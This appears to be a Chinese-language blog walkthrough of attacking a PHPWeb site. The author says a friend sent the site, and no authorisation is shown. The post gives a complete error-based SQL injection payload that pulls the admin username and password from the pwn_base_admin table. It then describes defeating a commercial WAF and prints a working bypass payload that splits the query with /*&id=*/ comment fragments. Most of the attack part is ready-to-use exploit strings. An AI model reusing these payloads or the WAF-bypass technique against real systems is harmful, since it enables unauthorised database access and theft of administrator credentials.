今天基友xiaoliumang发来一个phpweb的站,然后就一起看了下。phpweb有注入漏洞的,之前说过。先加些语句看了下,可见有注入,而且可以报错。虽然sql语句中我们提交的单引号变成了%27,但不要紧这是浏览器的事,待会用代理直接提交就行了。
然后直接上利用语句
?116'/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,pwn_base_admin.user,0x27,0x7e,pwn_base_admin.password,0x27,0x7e)/**/from/**/pwn_base_admin/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/'1'='1.html
结果出现了智创的waf。 www.2cto.com
本来想直接放弃了的,最后还是霸王硬上弓了。思路是:
1、看看该waf拦截什么语句,先依次提交select,union,from等关键字,然后再将这些sql关键字组合,最后发现只要有select from就会拦截,至于其他的匹配关键字和关键字组合没有测试。
2、绕过首先想到的是转换大小写,结果没用,一般waf都会转换大小写的;其次是编码,但是在这里phpweb直接是将语句拼接到sql查询语句里了,所以如果编码的话即使可以绕过waf,也不会构造出有效的sql查询语句。
3、试了试协议方面的,在GET后面多加几个空格,多加几个问号,只要不是bad request的就试,结果这种GET数据包可以变的地方比较少,也没找到绕过方法。
4、直接说绕过思路吧,其实是利用了phpweb和waf的理解不一致。phpweb是将问号后面,.html前面的语句直接拼接到sql查询语句中,不管编码没编码、有没有“=”,“&”(这两个符号是http协议里用来给参数赋值和分割参数的);而waf会将问号后面的根据http协议来进行解析。这样的话,我们就可以用/*&id=*/来分割构造的sql语句来绕过waf了。最后构造语句如下:
/product/class/?id/*=*/abc'/**/and/**/(select/**/1/*&id=*/from(/*&id=*/select/**//*&id=*/count(*),/*&id=*/concat((/*&id=*/select/**/(/*&id=*/select/**/(/*&id=*/select/**//*&id=*/concat(0x7e,0x27,pwn_base_admin.user,0x27,0x7e,pwn_base_admin.password,0x27,0x7e)/**//*&id=*/from/**/pwn_base_admin/**/limit/**/0,1))/**//*&id=*/from/**/information_schema.tables/**//*&id=*/limit/**/0,1),/*&id=*/floor(rand(0)*2))x/**//*&id=*/from/**//*&id=*/information_schema.tables/**//*&id=*/group/**//*&id=*/by/**/x)a)/**//*&id=*/and/**//*&id=*/'1'='1.html
如图: